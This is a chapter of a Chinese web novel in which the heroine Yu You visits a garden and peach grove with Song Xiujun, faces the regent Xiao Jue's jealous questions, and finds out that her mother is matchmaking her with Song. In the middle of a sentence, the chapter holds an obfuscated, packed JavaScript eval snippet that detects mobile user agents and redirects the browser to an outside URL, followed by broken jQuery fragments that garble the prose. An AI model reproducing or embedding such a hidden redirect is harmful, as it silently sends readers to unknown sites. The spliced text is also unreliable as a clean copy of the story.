16. 第 16 章

作品:《BE剧本总在跑偏(快穿)

    春日融融,盛京楼的账本在晨光中泛着柔和的光。余柚刚将上月的盈亏理清,正揉着有些酸涩的手腕,小橘便捧着一封素雅信笺轻步走进来。


    “小姐,宋大人派人送来的。”


    余柚接过,拆开信。宋修筠的字迹一如既往的清隽工整,先是问候近况,继而提及京郊西山桃花正盛,他舅舅的菜园也正值春耕,想邀她同往踏青,一来可赏春景,二来也可实地看看菜园长势,商议下一季的供应细节。


    理由合情合理,态度温和有礼。余柚没多犹豫,提笔回了帖,约定翌日同行。


    *


    翌日清晨,城门外。


    宋修筠已候在马车旁,一袭月白长衫,腰间系着同色丝绦,墨发半束,气质清朗温润。见余柚带着小橘走来,他迎上两步,含笑拱手:“余小姐,早。”


    “宋公子早。”余柚福身回礼,目光落在他身后的青帷马车上,“今日劳烦宋公子安排了。”


    “余小姐客气了,请。”


    马车平稳驶出城门,沿着官道向西山而去。车帘半卷,春风带着泥土和青草的清新气息涌入车厢。宋修筠温和地介绍着沿途景致,余柚听着,偶尔接话,气氛轻松而自然。


    到了西山脚下的菜园,余柚仔细查看了各类蔬菜的品种、长势和灌溉情况,又问了管事先前几批供货的反馈。


    宋修筠陪在一旁,对菜园的情况了如指掌,回答起余柚的问题条理清晰,显然是做过功课的。


    余柚心中暗暗赞许。这位宋公子虽出身书香门第,又在朝为官,对庶务却并不陌生,与她合作以来,事事妥帖,是个极可靠的伙伴。


    查看完毕,日头已近中天。宋修筠引路往山上桃林走去:“山上景致更佳,我已让人备了清茶点心,余小姐若不嫌弃,可稍作歇息。”


    “宋公子安排周全,有劳了。”余柚欣然应允。


    西山的桃花果真名不虚传。粉云匝地,香雪盈空,人在花海中穿行,衣袖都染了淡淡馨香。余柚难得偷闲,心情松快,眉眼间也带了笑。


    两人寻了一处视野开阔的缓坡,铺了毡席坐下。小橘和宋家的仆从摆上茶点后,便退到不远处等候。


    宋修筠为余柚斟了茶,茶汤清亮,映着天光云影。他沉默片刻,忽然开口:“余小姐,那日在琼林苑,我醉酒失态,若有冒犯之处,还望见谅。”


    余柚微怔,随即摇头:“宋公子言重了。那日不过是飞花令尽兴,公子醉了也只是追问诗句罢了,何来冒犯。”


    宋修筠似是松了口气,温润的眼眸看着她,神情认真:“不瞒余小姐,我自幼痴迷诗词,遇见精妙佳句,常忘乎所以。那日听余小姐随口吟哦,皆是闻所未闻的绝妙好辞,一时心驰神往,举止便失了分寸,过后想起,总觉不妥。”


    他顿了顿,唇角浮起一抹略带自嘲的笑意:“家母常说我,见了诗文便如痴如狂,不像个稳重的朝廷命官。”


    余柚被他这坦诚的模样逗得一笑:“宋公子是真性情。爱诗之人,遇见佳句心生欢喜,本是常情。”


    “余小姐能理解,便好。”宋修筠笑意加深,眼神清澈,“能与余小姐谈诗论句,确是人生乐事。不瞒你说,自相识以来,每次与余小姐交谈,都觉获益匪浅,心情亦格外愉悦。”


    他端起茶杯,语气真诚而平和:“我常想,人生得一知己,可共赏奇文,共析疑义,实乃大幸。若能常伴左右,不论是友是侣,皆是毕生之幸。”


    这话说得坦荡,不带半分狎昵,只像是一个爱诗之人对知音的欣赏与珍视。


    余柚心头微动,抬眼看他。宋修筠的目光清正平和,并无她先前隐约担忧的那种情愫,倒更像是对一种理想相处模式的向往。


    她轻轻舒了口气,举杯回敬:“宋公子过誉了。能与公子谈诗论道,亦是余柚之幸。”


    两人相视一笑,气氛复又轻松起来。话题自然而然转到近日读的诗文,又聊了些菜园合作的细节,直到日影西斜,才起身下山。


    回程马车上,宋修筠又问了几个诗句的出处,余柚照旧用“隐士高人所传”含糊带过。他虽有些遗憾,却也不再追问,只感慨道:“天下之大,卧虎藏龙。只恨无缘得见那位高人。”


    余柚但笑不语。


    马车在余府门前停下,宋修筠先行下车,伸手欲扶余柚。余柚已自行提着裙摆轻盈跃下,他收回手,也不觉尴尬,只含笑拱手:“今日有劳余小姐奔波,合作之事,改日再细议。”


    “宋公子慢走。”


    目送马车驶远,余柚转身进府,并未留意到街角阴影处,一辆通体墨色的马车已停了许久。


    车窗内,萧绝放下微掀的帘角,眸光沉沉。


    *


    翌日。


    摄政王府书房。


    余柚到时,萧绝正站在窗前,背对着门,手里捏着一块木料,不知在想什么。听见脚步声,他缓缓转身。


    今日他穿了件暗青色常服,料子是极好的云锦,袖口绣着同色暗纹,低调却难掩贵气。只是脸色似乎比平日更冷峻几分,眼眸深黑,看不出情绪。


    “王爷。”余柚依礼福身。


    萧绝没说话,目光在她脸上停留片刻,才淡淡道:“来了。”


    他走到长案旁,那里已摆好了木雕工具和几块上好的楠木。“今日学雕什么?”他问,语气平静无波。


    余柚走到案前,挑了一块木料:“继续练基本功吧。上次的星星,王爷可练熟了?”


    “尚可。”萧绝拿起刻刀,动作却有些心不在焉。


    室内一时只闻刻刀与木料摩擦的沙沙声。余柚专注地雕着手里的木料,渐渐沉浸其中,没留意萧绝时不时投来的目光。


    过了约莫一刻钟,萧绝忽然开口,声音不轻不重:“昨日踏青,可还愉快?”


    余柚手下刻刀一顿,差点划偏,语气不善:“王爷跟踪我?”


    “昨日去府上找你,你不在,多问了两句。”


    她稳住手,语气尽量平淡:“尚可。西山的桃花开得正好。”


    “嗯。”萧绝应了一声,指尖无意识地在木料上划着,“宋修筠倒是好雅兴,谈生意还专挑了赏花的好时节。”


    这话听着寻常,余柚却隐隐觉得哪里不对。她抬头看他:“查看菜园,顺路赏景,也是常事。”


    萧绝抬起眼,目光与她相接:“只是查看菜园?”


    “自然。”余柚不解他为何追问,“宋公子对合作很上心,菜园打理得井井有条。”


    “他对诗文也很上心。”萧绝的语气依旧平淡,却莫名让余柚感到一丝凉意,“你二人踏青,想必又谈了不少诗词歌赋?”


    余柚终于察觉到他话里那一丝若有若无的……不悦?


    “闲聊几句罢了。”她垂下眼,继续雕手里的木料,心头却有些打鼓。


    这摄政王今日怎么回事?


    萧绝看着她低垂的睫毛,那副全然不知的模样,让他心头那点说不清道不明的郁气更甚。他放下刻刀,走到她身侧。


    “余柚。”他唤她名字,声音低了些。


    余柚手一抖,刻刀在木料上划出一道略深的痕迹。她很少听他这样连名带姓地叫她。


    “你可知,”萧绝看着她微微睁大的眼睛,缓缓道,“宋修筠,是你母亲为你相看的夫婿人选之一?”


    余柚彻底愣住了。


    “什……什么?”她怀疑自己听错了。


    “余夫人近来与宋夫人走动频繁,京中已有风声。”萧绝的目光锁着她脸上的每一丝变化,“你昨日与他单独踏青,言笑晏晏,落在旁人眼里,意味着什么,你可想过?”


    余柚脑子里嗡嗡作响。娘亲?相看夫婿?宋修筠?


    她忽然想起近来母亲对宋修筠时不时的夸赞,想起她总爱打听她与宋修筠的往来,想起昨日出门前母亲那欣慰的笑容……


    原来如此!


    一股被蒙在鼓里的恼意和尴尬瞬间涌上心头,脸颊也控制不住地发烫。


    “我……我不知道。”她声音有些发干,“娘亲从未与我提过。”


    “现在你知道了。”萧绝看着她泛红的脸颊和眼中真实的错愕,心头那点莫名的烦躁奇异般地平息了些,但另一种更复杂的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121167|195493||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    情绪又翻涌上来。


    他转过身,走回窗边,声音听不出喜怒,“你与他,相处得倒是投契。”


    余柚站在原地,心乱如麻。她强迫自己冷静下来,仔细回想与宋修筠的往来——确实相谈甚欢,但那仅限于诗文和生意,她从未有过半分他想。宋修筠呢?他今日那番话……


    她可以肯定。


    那人单纯爱诗。


    “宋公子只是欣赏诗词,视我为可论诗的友人。”她低声解释,手中的刻刀再次动起来,语气淡淡的,“并无他意。”


    “友人?”萧绝侧过头,窗外光影在他轮廓分明的侧脸上投下淡淡阴影,“余柚,你有时天真得可笑。”


    他语气并不严厉,甚至算得上平和,却让余柚心头一刺。


    “我是否天真,与王爷无关。”她忍不住回了一句,带着些赌气的意味。


    萧绝回过头,看着她微微鼓起脸颊的模样,像只被惹急了却又不敢真伸出爪子的小猫。他眼底掠过一丝极淡的笑意,那点郁气忽然就散了。


    “罢了。”他走回案前,重新拿起刻刀,“继续吧。”


    余柚却有些静不下心了。木料在她手里仿佛有了脾气,怎么刻都不顺。刻了半晌,她终于放下刻刀。


    “王爷若无事,臣女今日先告退了。”她需要回去问清楚。


    萧绝看了她一眼,没为难:“去吧。”


    余柚行了一礼,转身快步离开。走到门口时,听见身后传来他淡淡的声音:


    “明日可有空?”


    余柚脚步一顿,没回头:“王爷有何吩咐?”


    “踏青。”萧绝的声音听不出情绪,“西山桃花开得正好,本王也想看看。”


    余柚:“……”


    她咬了咬唇,没应声,径直走了。


    *


    回到余府,余柚径直去了余夫人的院子。


    余夫人正在修剪一盆兰草,见女儿进来,笑着招呼:“柚儿回来啦?今日去王府可还顺利?”


    “娘,”余柚开门见山,语气有些急,“您是不是……在为我相看亲事?宋修筠宋公子,是不是您看中的人选?”


    余夫人修剪花枝的手一顿,脸上闪过一丝被戳破的不自在。她放下剪刀,拉着余柚在榻上坐下,叹了口气:“你这孩子,怎么突然问起这个?”


    “您只需告诉我,是或不是。”


    余夫人看着女儿严肃的脸,知道瞒不过,只得承认:“是。娘是觉得修筠那孩子不错,家世清白,人品端方,又有才华。最关键的是,我看你与他相处得挺好,能说到一块儿去。这过日子,若能找个志趣相投的,是福气。”


    “所以您就瞒着我,让我与他往来?”余柚心里说不出是什么滋味,有恼火,也有无奈,“娘,您为何不直接问我?”


    “娘不是怕你又倔脾气上来,一口回绝嘛。”


    余夫人拍了拍她的手,语重心长,“柚儿,你年纪不小了,婚事总要考虑。宋家书香门第,清贵安宁,修筠性子温和,与你又谈得来,娘是真心觉得合适。”


    余柚听明白了。


    娘亲这就是怕她嫁不出去。


    “娘,”她反握住母亲的手,语气认真,“我对宋公子,只有欣赏,并无男女之情。他对我,大抵也是如此。此事您别再操心了,我的婚事,我自己心里有数。”


    余夫人还想说什么,见女儿眼神坚决,最终叹了口气:“好吧,娘知道了。只是你也别太任性,若有合意的,也要跟娘说。”


    “嗯。”


    从母亲院里出来,余柚心情复杂。她走到自己院中的石凳上坐下,望着天边渐沉的夕阳发呆。


    暮色四合时,小橘拿着一张小纸条匆匆走来:“小姐,不知谁从门缝里塞进来的。”


    余柚接过,展开。


    纸条上只有一行字,笔力遒劲,带着不容置疑的味道:


    “明日随本王踏青,如何?王府用早膳,膳后出发。”


    没有署名。


    余柚盯着那行字看了许久,指尖微微蜷起,头疼地按了按额角。


    难搞。